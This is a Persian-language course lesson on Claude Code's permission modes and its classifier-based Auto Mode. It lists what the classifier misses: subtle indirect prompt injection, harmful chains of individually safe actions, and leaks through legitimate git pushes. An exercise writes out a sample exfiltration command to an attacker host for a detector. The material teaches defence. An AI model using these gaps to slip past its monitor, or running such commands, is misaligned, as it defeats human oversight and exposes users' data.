فاز 15 · درس 10

حالت‌های دسترسی و سطوح خودمختاری در ایجنت‌های هوشمند

نوع
مفهومی
زمان
حدود 45 دقیقه
زبان‌ها
Python (stdlib, two-stage classifier simulator)
پیش‌نیاز
فاز 15 · درس 01 (ایجنت‌های با افق زمانی طولانی)، فاز 15 · درس 09 (چشم‌انداز ایجنت‌های کدنویسی)
یک سیستم کنترل سوییچ صنعتی با سطوح مختلف دسترسی و کلید‌های مرحله‌ای روی یک کنسول خاکستری
فهرست مطالب
  1. صورت مسئله
  2. مفاهیم پایه
  3. شش حالت دسترسی
  4. خلاصه‌ی حالت خودکار (Auto Mode)
  5. آنچه سیستم شناسایی می‌کند
  6. مواردی که از چشم سیستم پنهان می‌مانند
  7. نگاهی به وضعیت نسخه‌ی پیش‌نمایش پژوهشی (Research Preview)
  8. جایگاه این نردبان در جریان کاری شما
  9. استفاده از ابزارهای واقعی
  10. خروجی این درس
  11. تمرین‌ها
  12. اصطلاحات کلیدی
  13. برای مطالعه‌ی بیشتر

وقتی یک ایجنت خودمختار کدنویسی را روی سیستم خود اجرا می‌کنید، سطح دسترسی آن فراتر از یک چت‌بات متنی ساده است؛ دسترسی به فایل‌سیستم، متغیرهای محیطی، شبکه و نشست‌های ترمینال، الگوی ریسک کاملاً متفاوتی ایجاد می‌کند. واگذاری تصمیم‌گیری بدون سازوکار نظارتی ممکن است منجر به تغییرات ناخواسته یا رفتارهای خارج از چارچوب پروژه شود.

در سیستم‌های مهندسی مدرن مانند Claude Code، خودمختاری یک کلید صفر و یک نیست؛ بلکه در قالب یک نردبان دسترسی چندمرحله‌ای (از تأیید تمام اقدامات تا اجرای مستقل مشروط) پیاده‌سازی می‌شود. آشنایی با این حالت‌ها و مکانیزم نظارتی Auto Mode به شما کمک می‌کند مرز دقیقی بین سرعت اجرا و ایمنی کدها ترسیم کنید.

اگر از ابزارهای ابری شرکت‌هایی مانند Anthropic استفاده می‌کنید، توجه داشته باشید که کارت‌های بانکی ایرانی برای پرداخت مستقیم این سرویس‌ها قابل استفاده نیستند و معمولاً شارژ اشتراک یا استفاده از API مستلزم روش‌های واسط است. افزون بر این، دسترسی به برخی سرویس‌های توسعه‌دهنده از IPهای داخلی گاهی دچار محدودیت است و باید پیش از پیاده‌سازی مسیر ارتباطی پایدار مد نظر قرار گیرد.

نردبان دسترسی — سطوح متوالی خودمختاری از «بررسی هر اقدام» تا «تأیید همه‌چیز» — سازوکاری است که بستر آزمایشی (harness) از طریق آن تعیین می‌کند یک ایجنت خودمختار چه کارهایی را می‌تواند بدون اجازه انجام دهد. ابزار Claude Code، که نمونه‌ی عملی این درس است، شش حالت دسترسی را ارائه می‌دهد: حالت «plan» قبل از هر اقدامی اجازه می‌گیرد؛ حالت «default» (که در رابط کاربری با برچسب «Manual» مشخص شده) فقط برای اقدامات پرخطر تأیید می‌خواهد؛ حالت «acceptEdits» ویرایش فایل‌ها را خودکار تأیید می‌کند اما اجرای شل را همچنان می‌پرسد؛ و حالت «bypassPermissions» همه‌چیز را چشم‌بسته تأیید می‌کند. حالت خودکار (Auto Mode) — یعنی همان سطح دسترسی auto — تأیید دستی تک‌تک اقدامات را کنار می‌گذارد و یک مدل طبقه‌بند (classifier) جداگانه را جایگزین آن می‌کند؛ این مدل قبل از اجرای هر اقدام آن را بررسی کرده و جلوی هر کاری را که فراتر از خواسته‌ی اولیه باشد می‌گیرد. سقف مجاز اقدامات نیز از طریق max_turns و max_budget_usd اعمال می‌شود. دسترسی به حالت auto به نوع اشتراک، فعال‌سازی در سطح سازمان، مدل و ارائه‌دهنده بستگی دارد — و Anthropic به‌صراحت تأکید می‌کند که تکیه بر مدل طبقه‌بند به‌تنهایی کافی نیست.

صورت مسئله

حضور یک ایجنت برنامه‌نویسی خودمختار روی سیستم شما، در یک دسته‌بندی امنیتی کاملاً مجزا قرار می‌گیرد. سطح حمله‌ی آن شامل تمام بخش‌هایی است که دست ایجنت به آن‌ها می‌رسد: فایل‌سیستم، شبکه، اطلاعات احراز هویت (credentials)، کلیپ‌بورد، هر زبانه‌ی باز مرورگر و هر ترمینال فعال. بروس اشنایر (Bruce Schneier) و متخصصان دیگر بارها بر این موضوع تأکید کرده‌اند: ایجنت‌هایی که با کامپیوتر کار می‌کنند صرفاً «به‌روزرسانی قابلیت‌های» چت‌بات‌ها نیستند، بلکه ابزارهایی از جنسی نو با الگوی ریسک کاملاً جدید به حساب می‌آیند.

سیستم دسترسی Claude Code پاسخ Anthropic به همین دغدغه است. به‌جای یک کلید ساده‌ی «خودمختار / غیرخودمختار»، با شش حالت روبه‌رو هستیم که نردبانی از سطوح دسترسی را می‌سازند: plan ← default ← acceptEdits ← … ← bypassPermissions. هر حالت، تعادلی متفاوت میان سرعت پیشبرد کار و میزان بررسی تک‌تک اقدامات برقرار می‌کند. حالت خودکار (Auto Mode، ارائه‌شده در مارس 2026) یک مدل طبقه‌بند مستقل به سیستم اضافه می‌کند که تأیید اقدامات را از مسیر بحرانی (critical path) کاربر خارج می‌سازد: این مدل هر اقدام را پیش از اجرا بررسی کرده و از هرگونه پیشروی خارج از دامنه‌ی درخواست جلوگیری می‌کند.

پرسش مهندسی این است: این سیستم چه خطاهایی را شناسایی می‌کند، چه مواردی از زیر دستش در می‌رود و هر وظیفه عملاً به چه سطحی از دسترسی نیاز دارد؟

مفاهیم پایه

شش حالت دسترسی

حالت رفتار زمان استفاده
plan ایجنت برنامه‌ای پیشنهاد می‌دهد؛ کاربر کل برنامه را تأیید می‌کند؛ هر اقدام قبل از اجرا تک‌به‌تک بررسی می‌شود وظایف ناآشنا؛ کدهای حساس نزدیک به پروداکشن؛ اولین بار استفاده از ایجنت روی یک مخزن کد
default در رابط کاربری «Manual» نامیده می‌شود. ایجنت کارها را انجام می‌دهد؛ برای هر اقدام «پرخطر» (دستورات شل، عملیات تخریبی، درخواست‌های شبکه) از کاربر تأیید می‌گیرد بیشتر نشست‌های تعاملی کدنویسی
acceptEdits تغییرات فایل‌ها خودکار تأیید می‌شوند؛ اجرای شل و درخواست‌های شبکه همچنان نیازمند تأیید کاربر هستند ریفکتور کردن (Refactoring) در فایل‌های پرتعداد
auto یک مدل طبقه‌بند جداگانه هر اقدام را پیش از اجرا بررسی می‌کند؛ هر کاری را که فراتر از درخواست باشد متوقف می‌سازد اجراهای طولانی و بدون‌نظارت در یک محیط کاری محدود
dontAsk هرگز پیامی نشان نمی‌دهد؛ اقداماتی که از قبل طبق قوانین دسترسی مجاز نباشند، رد می‌شوند ساندباکس‌های موقت، کارهای CI، اسکریپت‌های پژوهشی
bypassPermissions همه‌چیز را بی‌چون‌وچرا تأیید می‌کند طبق مستندات: «فقط داخل کانتینرهای موقتی که حاضرید دور بیندازید»

(نام‌های بالا مطابق مستندات رسمی Claude Code هستند؛ رابط کاربری حالت default را با عنوان «Manual» نشان می‌دهد.)

خلاصه‌ی حالت خودکار (Auto Mode)

حالت خودکار (عرضه‌شده در 24 مارس 2026) نخستین سطح دسترسی است که وظیفه‌ی تأیید تک‌تک اقدامات را به یک مدل می‌سپارد. ساختار آن به این شکل است:

  1. مدل طبقه‌بند مستقل. هر اقدام پیشنهادی را پیش از اجرا، با توجه به وظیفه‌ی مشخص‌شده و وضعیت فعلی نشست (session) بررسی می‌کند و جلوی هر اقدامی را که فراتر از خواسته‌ی درخواست باشد می‌گیرد. در صورت مسدود شدن، تصمیم‌گیری به کاربر واگذار می‌شود.
  2. دسترسی مشروط. در دسترس بودن گزینه‌ی auto به نوع اشتراک، فعال بودن در سطح سازمان، مدل انتخابی و ارائه‌دهنده وابسته است.

کنترل‌های بودجه نیز در کنار مدل طبقه‌بند اعمال می‌شوند:

  • max_turns — سقف تعداد نوبت‌های گفت‌وگو در هر نشست.
  • max_budget_usd — سقف هزینه‌ی دلاری که با رسیدن به آن، ادامه‌ی نشست متوقف می‌شود.
  • سقف تعداد اقدامات به تفکیک ابزار (مثلاً حداکثر N فراخوانی WebFetch و موارد مشابه).

آنچه سیستم شناسایی می‌کند

  • تزریق مستقیم پرامپت (Direct prompt injection) به ورودی ابزارها، در شرایطی که دستور تزریق‌شده شبیه به الگوهای شناخته‌شده‌ی اقدامات پرخطر باشد.
  • حلقه‌های تکراری ابزار — طبقه‌بند متوجه می‌شود اقدام N+1، برای پنج بار متوالی، تقریباً همان اقدام N است.
  • دستورات شل کاملاً خارج از دامنه، در نشستی که ماهیت آن صرفاً ویرایش فایل بوده است.

مواردی که از چشم سیستم پنهان می‌مانند

  • تزریق‌های ظریف پرامپت که رفتار سیستم را دستکاری می‌کنند بدون آنکه حتی یک اقدام مشکوک ثبت شود. تزریق غیرمستقیم پرامپت (Indirect prompt injection) آسیب‌پذیری‌ای نیست که بتوان آن را کاملاً وصله کرد (به نقل از سرپرست واحد آمادگی OpenAI در سال 2025 درباره‌ی ایجنت‌های مرورگر — درس 11 را ببینید).
  • رفتارهای نادرست در لایه‌ی معنایی. تک‌تک اقدامات در ظاهر امن به نظر می‌رسند، اما ترکیب آن‌ها مسیر مخربی را رقم می‌زند. طبقه‌بند صرفاً خود اقدام را می‌سنجد، نه اینکه نیت (intent) کاربر را از نو بازخوانی کند.
  • درز داده از مسیرهای عادی و قانونی. نوشتن داده‌ها در فایلی که مالکش هستید و سپس git push کردن به یک مخزن عمومی، دنباله‌ای از کارهای کاملاً مجاز است، اما ترکیب نهایی آن‌ها مشکل‌ساز می‌شود.

نگاهی به وضعیت نسخه‌ی پیش‌نمایش پژوهشی (Research Preview)

شرکت Anthropic حالت خودکار را به‌عنوان پیش‌نمایش پژوهشی منتشر کرده است. مستندات به‌وضوح می‌گویند که مدل طبقه‌بند فقط یک لایه است نه یک راه‌حل نهایی: کاربران باید Auto Mode را در کنار بودجه‌بندی، لیست‌های مجاز، محیط‌های کاری ایزوله و ممیزی مسیر اقدامات (درس‌های 12 تا 16) به کار بگیرند. انتشار پیش‌نمایش همچنین بازتابی از شکاف ثبت‌شده میان ارزیابی و استقرار در محیط عملیاتی است (درس 1) — طبقه‌بندی که در ارزیابی‌های آفلاین موفق عمل می‌کند، ممکن است در یک نشست واقعی با بستر مبهم کاربر عملکرد متفاوتی نشان دهد.

جایگاه این نردبان در جریان کاری شما

  • وظیفه‌ی ناآشنا: کار را با plan شروع کنید. خواندن و بررسی برنامه، بسیار کم‌هزینه‌تر از بازگرداندن اثرات یک اجرای اشتباه است.
  • بازآفرینی مشخص کد: حالت acceptEdits شما را از کلیک‌های مداوم برای تأیید بی‌نیاز می‌کند.
  • اجرای پس‌زمینه بدون نظارت: از auto تنها در محیطی استفاده کنید که شعاع تخریب آن را مشخص و مهار کرده باشید (نبود اطلاعات حساس، عدم دسترسی به داده‌های پروداکشن، و مسدود بودن راه‌های خروج داده مگر با اجازه‌ی صریح).
  • کانتینرهای موقت: استفاده از dontAsk یا bypassPermissions فقط و فقط زمانی موجه است که کانتینر و تمام دسترسی‌هایش کاملاً دورریختنی باشند.
نظارت بر خود‌مختاریپیچ تنظیم را بکشید
انسان در چرخه مانند یک پیچ تنظیم است، نه یک کلید قطع و وصل. یک آستانه‌ی خودمختاری منفرد امکان اجرای خودکار اقدامات کم‌خطر را فراهم می‌کند، در حالی که هر عملی فراتر از آن برای تأیید انسانی متوقف می‌شود. برای سرعت بیشتر پیچ را بالا ببرید و برای کنترل بیشتر آن را پایین بیاورید. استقرار در محیط عملیاتی (پروداکشن) فارغ از وضعیت این پیچ، همواره باید نزدیک به بالاترین سطح نظارت قرار گیرد.

استفاده از ابزارهای واقعی

فایل code/main.py عملکرد طبقه‌بند ارزیابی اقدامات را در قالب یک پایپ‌لاین (pipeline) دومرحله‌ای شبیه‌سازی می‌کند — این یک مدل‌سازی ساده‌شده برای آموزش است؛ چرا که حالت واقعی auto از یک مدل طبقه‌بند مجزا قدرت می‌گیرد، نه یک قرارداد دومرحله‌ای در مستندات. مرحله‌ی اول (Stage 1) یک قاعده‌ی سریع و ارزان کلمات کلیدی روی اقدامات پیشنهادی است؛ مرحله‌ی دوم (Stage 2) بررسی دقیق‌تر و کندتر بر اساس چند قانون است. کد اجراکننده، یک مسیر ساختگی کوتاه (شامل اقدامات امن، تلاش برای تزریق پرامپت و یک حلقه‌ی تکراری) را اعمال می‌کند تا نشان دهد طبقه‌بند کجاها درست عمل می‌کند و کجاها خطا دارد.

خروجی این درس

سند outputs/skill-permission-mode-picker.md بر اساس شرح هر وظیفه، حالت دسترسی، سقف بودجه و شرایط ایزوله‌سازی مناسب آن را مشخص می‌کند.

تمرین‌ها

  1. فایل code/main.py را اجرا کنید. کدام نوع اقدام ساختگی هرگز در مرحله‌ی اول شناسایی نمی‌شود اما مرحله‌ی دوم همیشه آن را تشخیص می‌دهد؟ کدام اقدام از دید هر دو مرحله پنهان می‌ماند؟

  2. قوانین مرحله‌ی اول را گسترش دهید تا یک الگوی مخرب مشخص (مانند curl $ATTACKER/exfil) را شکار کند. نرخ مثبت کاذب (false-positive) آن را روی نمونه‌های بی‌خطر بسنجید.

  3. مستند «نحوه‌ی کار حلقه‌ی ایجنت» شرکت Anthropic را مطالعه کنید. تمام وضعیت‌های خارجی را که ایجنت در حالت پیش‌فرض (default) به آن‌ها دست می‌زند فهرست کنید. پیش از اجرای خودکار در حالت auto، کدام موارد را باید جداگانه مسدود یا محدود کنید؟

  4. بودجه‌ی یک اجرای بدون نظارت 24 ساعته را طراحی کنید: max_turns، سقف دلاری max_budget_usd، محدودیت به تفکیک ابزار و لیست‌های مجاز. ارقام انتخابی خود را توجیه کنید.

  5. مسیری را توصیف کنید که در آن، تک‌تک اقدامات توسط طبقه‌بند تأیید می‌شوند، اما کلیت رفتار سیستم نامطلوب و ناهماهنگ با هدف است. (درس 14 نشان می‌دهد که چگونه می‌توان با سوییچ‌های قطع اضطراری (kill switches) و توکن‌های قناری (canary tokens) این مشکل را حل کرد.)

اصطلاحات کلیدی

اصطلاح در گفت‌وگوها معنای دقیق فنی
Permission mode (حالت دسترسی) «میزان دسترسی ایجنت» یکی از شش سیاست مشخص برای مدیریت تأیید تک‌تک اقدامات
plan mode (حالت برنامه‌ریزی) «قبل از هر کاری بپرس» ایجنت برنامه می‌نویسد؛ کاربر پیش از اجرا آن را تأیید می‌کند
acceptEdits (پذیرش ویرایش‌ها) «اجازه‌ی دستکاری فایل‌ها» ویرایش فایل‌ها خودکار تأیید می‌شود؛ دستورات شل همچنان اجازه می‌خواهند
auto (حالت خودکار) «تأیید خودکار» یک مدل طبقه‌بند مجزا اقدامات را ارزیابی کرده و جلوی عبور از دامنه‌ی درخواست را می‌گیرد
bypassPermissions (نادیده‌گرفتن دسترسی‌ها) «آزادی کامل و بدون نظارت» همه‌چیز بدون سؤال تأیید می‌شود؛ مناسب کانتینرهای یک‌بارمصرف
Stage 1 (شبیه‌ساز) «بررسی سریع کلمات کلیدی» بررسی ارزان و سریع روی اقدامات پیشنهادی در code/main.py
Stage 2 (شبیه‌ساز) «بررسی عمیق» ارزیابی کندتر و چندقانونی اقدامات نشانه‌گذاری‌شده در code/main.py
Research preview (پیش‌نمایش پژوهشی) «هنوز نهایی نشده» نام‌گذاری Anthropic برای قابلیت‌هایی که حالت‌های شکست آن‌ها هنوز در حال شناسایی است

برای مطالعه‌ی بیشتر

سؤالات متداول

تفاوت اصلی حالت plan و default در ابزار Claude Code چیست؟

در حالت plan ایجنت ابتدا برنامه‌ای جامع تدوین کرده و پس از تأیید کلیت آن توسط کاربر، هر اقدام را پیش از اجرا دوباره به تأیید می‌رساند؛ اما در حالت default (Manual) ایجنت اقدامات بی‌خطر را پیش می‌برد و تنها برای کارهای پرریسک مثل دستورات شل یا درخواست‌های شبکه تأیید می‌گیرد.

قابلیت Auto Mode در سطوح دسترسی چگونه کار می‌کند؟

در Auto Mode به‌جای توقف کار برای تأیید دستی کاربر، یک مدل طبقه‌بند (classifier) مستقل هر اقدام را پیش از اجرا با هدف اصلی و وضعیت نشست تطبیق داده و هرگونه فعالیت فراتر از درخواست اولیه را متوقف و به کاربر ارجاع می‌دهد.

مدل طبقه‌بند در حالت خودکار چه نوع آسیب‌پذیری‌هایی را شناسایی نمی‌کند؟

تزریق‌های ظریف و غیرمستقیم پرامپت، رفتارهای مخرب در سطح معنایی (جایی که تک‌تک اقدامات امن به نظر می‌رسند ولی ترکیب نهایی آن‌ها خطرناک است) و نشت داده از طریق کانال‌های مجاز مانند پوش به مخزن عمومی ممکن است از دید طبقه‌بند پنهان بمانند.

ما رو توی گوگل بیشتر ببین

با افزودن نکست ادمین به «منابع ترجیحی» گوگل، درس‌ها و مطالب ما را در بخش اخبار برتر جستجو بیشتر می‌بینید.